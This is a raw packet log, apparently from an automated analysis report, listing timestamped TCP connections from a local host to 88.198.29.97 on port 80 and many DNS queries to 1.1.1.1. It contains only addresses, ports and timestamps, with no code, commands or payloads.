Dec 4, 2023 12:36:22.764899015 CET	49863	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:22.952236891 CET	80	49863	88.198.29.97	192.168.2.6
Dec 4, 2023 12:36:22.952397108 CET	49863	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:27.420507908 CET	49864	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:27.606610060 CET	80	49864	88.198.29.97	192.168.2.6
Dec 4, 2023 12:36:27.607577085 CET	49864	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:27.607686043 CET	49864	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:27.793632030 CET	80	49864	88.198.29.97	192.168.2.6
Dec 4, 2023 12:36:27.797017097 CET	49864	80	192.168.2.6	88.198.29.97

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2023 12:32:27.744613886 CET	62048	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:27.842519999 CET	53	62048	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:28.546879053 CET	49659	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:29.373723030 CET	53	49659	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:29.478487968 CET	62001	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:30.159612894 CET	53	62001	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:30.162085056 CET	58942	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:30.499965906 CET	53	58942	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:30.603462934 CET	52582	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:31.288420916 CET	53	52582	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:31.290983915 CET	62897	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:31.400650978 CET	53	62897	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:31.511374950 CET	65044	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:31.610332012 CET	53	65044	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:31.612469912 CET	63258	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:31.711802006 CET	53	63258	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:31.822304010 CET	54705	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:32.165693998 CET	53	54705	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:32.167542934 CET	60143	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:32.510818005 CET	53	60143	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:32.619174004 CET	64599	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:32.946497917 CET	53	64599	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:32.949155092 CET	51666	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:33.273680925 CET	53	51666	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:33.384922981 CET	63089	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:33.483939886 CET	53	63089	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:33.486201048 CET	64264	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:33.735152960 CET	53	64264	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:33.838157892 CET	62762	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:34.170691967 CET	53	62762	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:34.173001051 CET	50448	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:34.508771896 CET	53	50448	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:34.619034052 CET	55405	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:34.715354919 CET	53	55405	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:34.894030094 CET	54999	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:35.417675018 CET	53	54999	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:35.789864063 CET	51754	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:36.059371948 CET	53	51754	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:36.541143894 CET	50396	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:36.730676889 CET	53	50396	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:36.732937098 CET	59310	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:36.920605898 CET	53	59310	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:37.025409937 CET	50900	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:37.344517946 CET	53	50900	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:37.367953062 CET	53678	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:37.676539898 CET	53	53678	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:37.791344881 CET	51966	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:37.991501093 CET	53	51966	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:37.993854046 CET	49790	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:38.185606003 CET	53	49790	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:38.290944099 CET	64918	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:38.892910957 CET	53	64918	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:38.895369053 CET	61977	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:39.664829016 CET	53	61977	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:41.231694937 CET	49864	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:41.337830067 CET	53	49864	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:41.340060949 CET	54462	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:41.438817024 CET	53	54462	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:41.541093111 CET	65383	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:41.733057976 CET	53	65383	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:41.735430956 CET	60509	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:41.924614906 CET	53	60509	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:42.040930033 CET	56096	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:42.228584051 CET	53	56096	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:43.243963957 CET	63686	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:43.341197968 CET	53	63686	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:43.343377113 CET	53860	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:43.439531088 CET	53	53860	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:43.540939093 CET	56143	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:43.732973099 CET	53	56143	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:43.734895945 CET	62410	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:43.922985077 CET	53	62410	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:44.026158094 CET	58336	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:44.215675116 CET	53	58336	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:44.217824936 CET	58256	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:44.408484936 CET	53	58256	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:44.525336981 CET	54289	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:44.860764027 CET	53	54289	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:44.862798929 CET	49985	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:45.195497990 CET	53	49985	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:45.306509018 CET	62405	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:45.562863111 CET	53	62405	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:45.565130949 CET	60664	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:45.660670996 CET	53	60664	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:45.775405884 CET	63964	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:45.872030020 CET	53	63964	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:45.875032902 CET	56446	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:45.970068932 CET	53	56446	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:46.072216988 CET	50137	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:46.407887936 CET	53	50137	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:46.409941912 CET	57354	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:46.757127047 CET	53	57354	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:46.869116068 CET	61528	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:46.966583014 CET	53	61528	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:46.968521118 CET	65526	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:47.063834906 CET	53	65526	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:47.168135881 CET	52634	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:47.355591059 CET	53	52634	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:47.357683897 CET	52675	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:47.457037926 CET	53	52675	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:47.572411060 CET	56722	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:47.766002893 CET	53	56722	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:47.768246889 CET	60966	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:47.956476927 CET	53	60966	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:48.072364092 CET	60580	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:48.172904968 CET	53	60580	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:49.229283094 CET	54354	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:49.330591917 CET	53	54354	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:49.333595991 CET	62020	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:49.437803030 CET	53	62020	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:49.540915012 CET	56681	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:49.730283976 CET	53	56681	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:49.732391119 CET	55502	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:49.920008898 CET	53	55502	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:50.025554895 CET	59279	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:50.854552984 CET	53	59279	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:50.857083082 CET	57238	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:50.955786943 CET	53	57238	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:51.072509050 CET	51385	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:51.425440073 CET	53	51385	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:51.427776098 CET	49592	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:51.522914886 CET	53	49592	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:51.634568930 CET	65175	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:51.896217108 CET	53	65175	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:51.898577929 CET	53638	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:51.996581078 CET	53	53638	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:52.103353977 CET	60809	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:52.356178999 CET	53	60809	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:52.358345032 CET	63278	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:52.607253075 CET	53	63278	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:52.712948084 CET	58104	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:52.810045958 CET	53	58104	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:53.806920052 CET	54173	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:53.903635979 CET	53	54173	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:54.916028976 CET	59867	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:55.167057037 CET	53	59867	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:55.175266027 CET	52898	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:55.273056030 CET	53	52898	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:55.384598017 CET	59098	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:55.637537003 CET	53	59098	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:56.681535006 CET	60212	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:56.840976000 CET	53	60212	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:59.509970903 CET	49285	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:59.608030081 CET	53	49285	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:59.610985994 CET	59522	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:32:59.705974102 CET	53	59522	1.1.1.1	192.168.2.6
Dec 4, 2023 12:32:59.822329044 CET	57551	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:00.194798946 CET	53	57551	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:00.197069883 CET	52858	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:00.394556046 CET	53	52858	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:00.509716988 CET	54774	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:00.612317085 CET	53	54774	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:01.635070086 CET	59643	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:01.828900099 CET	53	59643	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:01.882543087 CET	54052	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:02.071335077 CET	53	54052	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:02.182497978 CET	54230	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:02.341386080 CET	53	54230	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:03.369177103 CET	55355	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:03.479836941 CET	53	55355	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:03.482650042 CET	63092	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:03.587568998 CET	53	63092	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:03.697314024 CET	51281	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:03.795712948 CET	53	51281	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:03.798537016 CET	50218	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:04.056694984 CET	53	50218	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:04.182637930 CET	49411	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:04.372106075 CET	53	49411	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:04.375113964 CET	62147	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:04.570177078 CET	53	62147	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:04.681624889 CET	51421	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:05.000607967 CET	53	51421	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:05.003132105 CET	64566	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:05.105133057 CET	53	64566	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:05.212979078 CET	54261	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:05.470438004 CET	53	54261	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:06.509767056 CET	51481	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:06.697032928 CET	53	51481	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:06.700479031 CET	64250	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:06.797156096 CET	53	64250	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:06.900741100 CET	63888	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:07.004194975 CET	53	63888	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:07.006936073 CET	53279	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:07.111555099 CET	53	53279	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:07.228763103 CET	49347	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:07.410223961 CET	53	49347	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:07.412745953 CET	60283	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:07.510499954 CET	53	60283	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:07.619349003 CET	56216	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:07.810604095 CET	53	56216	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:07.813288927 CET	49895	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:08.006170988 CET	53	49895	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:08.119260073 CET	56433	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:08.376264095 CET	53	56433	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:09.431660891 CET	59027	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:09.767210007 CET	53	59027	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:09.769608974 CET	55806	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:10.122757912 CET	53	55806	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:10.244725943 CET	65207	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:10.596311092 CET	53	65207	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:10.598352909 CET	63988	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:10.958286047 CET	53	63988	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:11.072309017 CET	51010	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:11.168817043 CET	53	51010	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:11.176076889 CET	59547	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:11.273066998 CET	53	59547	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:11.384818077 CET	64616	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:11.574418068 CET	53	64616	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:11.576658010 CET	61220	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:11.767740965 CET	53	61220	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:11.884701967 CET	61849	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:11.980856895 CET	53	61849	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:11.983079910 CET	56033	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:12.079245090 CET	53	56033	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:12.195905924 CET	62006	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:12.448971033 CET	53	62006	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:13.478514910 CET	56319	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:13.635164022 CET	53	56319	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:14.936728954 CET	51932	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:15.129761934 CET	53	51932	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:16.878367901 CET	62375	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:17.072268009 CET	53	62375	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:17.181751966 CET	52779	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:17.279061079 CET	53	52779	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:17.281802893 CET	53571	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:17.379303932 CET	53	53571	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:17.494160891 CET	51963	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:17.590388060 CET	53	51963	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:17.592853069 CET	53472	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:17.782111883 CET	53	53472	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:17.885343075 CET	53922	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:17.995296001 CET	53	53922	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:17.997011900 CET	53383	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:18.095845938 CET	53	53383	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:18.197336912 CET	60739	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:18.387245893 CET	53	60739	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:18.389375925 CET	58088	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:18.583865881 CET	53	58088	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:18.697199106 CET	53078	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:18.793622017 CET	53	53078	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:19.837759018 CET	50418	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:20.170288086 CET	53	50418	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:20.172223091 CET	54855	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:20.504542112 CET	53	54855	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:20.619155884 CET	49782	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:20.951900005 CET	53	49782	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:20.954193115 CET	57901	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:21.305569887 CET	53	57901	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:21.416116953 CET	61978	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:21.603306055 CET	53	61978	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:21.606102943 CET	51198	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:21.794178009 CET	53	51198	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:21.902673960 CET	62168	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:22.001641989 CET	53	62168	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:22.003810883 CET	55764	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:22.100889921 CET	53	55764	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:22.213716984 CET	61869	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:22.310141087 CET	53	61869	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:23.306958914 CET	56310	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:23.500453949 CET	53	56310	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:23.503263950 CET	62500	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:23.701687098 CET	53	62500	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:23.806886911 CET	64238	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:24.068567991 CET	53	64238	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:24.265755892 CET	50215	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:24.891470909 CET	53	50215	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:25.744164944 CET	49290	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:25.842470884 CET	53	49290	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:25.845254898 CET	52025	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:26.667346954 CET	53	52025	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:26.775306940 CET	56693	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:26.872385025 CET	53	56693	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:26.874560118 CET	51948	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:27.123188972 CET	53	51948	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:27.228696108 CET	49214	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:27.423362017 CET	53	49214	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:27.426029921 CET	57945	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:27.630954027 CET	53	57945	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:27.744234085 CET	51886	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:28.087131977 CET	53	51886	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:28.090471983 CET	51266	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:28.441319942 CET	53	51266	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:28.556541920 CET	49191	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:28.818960905 CET	53	49191	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:29.853694916 CET	52438	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:29.951925993 CET	53	52438	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:31.010464907 CET	56993	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:31.200632095 CET	53	56993	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:31.210311890 CET	62526	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:31.496714115 CET	53	62526	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:31.603600025 CET	65521	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:31.939552069 CET	53	65521	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:31.942001104 CET	53750	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:32.286539078 CET	53	53750	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:32.400352001 CET	58926	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:32.650670052 CET	53	58926	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:32.652709007 CET	53929	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:32.752226114 CET	53	53929	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:32.853657961 CET	51455	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:32.951123953 CET	53	51455	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:32.953408003 CET	58995	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:33.276185989 CET	53	58995	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:33.385449886 CET	59438	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:33.482923985 CET	53	59438	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:33.675717115 CET	50917	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:33.771580935 CET	53	50917	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:34.619999886 CET	56152	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:34.717963934 CET	53	56152	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:34.921391010 CET	57042	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:35.206902981 CET	53	57042	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:36.041954994 CET	57624	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:36.378029108 CET	53	57624	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:36.380363941 CET	55555	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:36.722960949 CET	53	55555	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:36.838105917 CET	53319	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:37.025449038 CET	53	53319	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:37.032268047 CET	60138	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:37.219547987 CET	53	60138	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:37.338488102 CET	54190	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:37.440450907 CET	53	54190	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:37.651876926 CET	63121	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:38.184300900 CET	53	63121	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:39.041851044 CET	65028	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:39.140155077 CET	53	65028	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:39.149810076 CET	49268	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:39.256412029 CET	53	49268	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:39.370018959 CET	65020	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:39.466970921 CET	53	65020	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:39.644012928 CET	59717	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:39.917965889 CET	53	59717	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:40.822755098 CET	50412	53	192.168.2.6	1.1.1.1
